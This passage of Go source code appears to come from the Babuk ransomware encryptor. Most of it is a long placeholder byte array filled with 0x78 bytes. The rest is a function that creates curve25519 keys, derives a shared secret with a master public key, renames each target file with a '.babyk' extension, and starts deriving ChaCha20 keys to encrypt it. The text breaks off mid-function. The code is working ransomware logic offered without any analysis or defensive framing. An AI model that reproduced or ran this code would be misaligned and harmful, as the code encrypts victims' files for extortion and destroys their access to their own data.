0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78,
|
||||
0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x78, 0x00}
|
||||
|
||||
var l sync.Mutex
|
||||
|
||||
func i64tob(val uint64) []byte {
|
||||
r := make([]byte, 8)
|
||||
for i := uint64(0); i < 8; i++ {
|
||||
r[i] = byte((val >> (i * 8)) & 0xff)
|
||||
}
|
||||
return r
|
||||
}
|
||||
|
||||
func encrypt_file(wg *sync.WaitGroup, path string) {
|
||||
defer wg.Done()
|
||||
|
||||
var publicKey [32]byte
|
||||
var privateKey [32]byte
|
||||
var shared [32]byte
|
||||
var flag [6]byte
|
||||
flag[0] = 0xAB
|
||||
flag[1] = 0xBC
|
||||
flag[2] = 0xCD
|
||||
flag[3] = 0xDE
|
||||
flag[4] = 0xEF
|
||||
flag[5] = 0xF0
|
||||
|
||||
seed := make([]byte, 32)
|
||||
io.ReadFull(rand.Reader, seed)
|
||||
copy(privateKey[:], seed)
|
||||
|
||||
curve25519.ScalarBaseMult(&publicKey, &privateKey)
|
||||
curve25519.ScalarMult(&shared, &privateKey, &m_publ)
|
||||
|
||||
err := os.Rename(path, path+".babyk")
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
return
|
||||
}
|
||||
|
||||
file, err := os.OpenFile(path+".babyk", os.O_RDWR, 0)
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
return
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
fi, err := file.Stat()
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
return
|
||||
}
|
||||
|
||||
var offset int64 = 0
|
||||
var file_size = fi.Size()
|
||||
|
||||
l.Lock()
|
||||
var cc20_k = sha256.Sum256([]byte(shared[:]))
|
||||
var cc20_n = sha256.Sum256([]byte(cc20_k[:]))
|
||||
